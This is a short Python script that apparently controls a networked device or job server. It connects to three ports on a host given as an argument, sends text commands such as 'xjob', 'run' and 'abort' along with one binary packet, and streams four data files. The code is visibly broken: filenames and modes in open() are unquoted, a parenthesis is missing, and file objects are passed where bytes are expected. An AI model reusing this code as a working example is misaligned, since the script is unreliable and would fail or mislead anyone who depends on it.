#!/usr/bin/env python
import time
import socket
import sys
data1 = open(data1.re , r)
data2 = open(data2.re , r)
data3 = open(data3.re , r)
data4 = open(data4.re , r)
italk = socket.socket()
pos = socket.socket()
data = socket.socket()
italk.connect((sys.argv[1],12345))
print(italk.recv(1000))
pos.connect((sys.argv[1],12347))
italk.sendall("xjob\n")
print(italk.recv(1000))
italk.sendall("immediate 1746\n")
print(italk.recv(1000))
italk.sendall("data\n")
print(italk.recv(1000))
data.connect((sys.argv[1],12346))
italk.sendall("sending\n")
print(italk.recv(1000))
data.sendall(data1)
data.sendall(data2)
data.sendall(data3)
data.sendall(data4)
data.close()
print(italk.recv(1000))
italk.sendall("run\n")
print(italk.recv(1000))
italk.sendall("pass32\n")
print(italk.recv(1000))
italk.sendall("\xaa\x01\x14\x00\x16\xb4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbb\xcc\xbb\xcc\xbb\xcc\xbb\xcc"
print(italk.recv(1000))
time.sleep(1.25)
italk.sendall("abort\n")
print(italk.recv(1000))

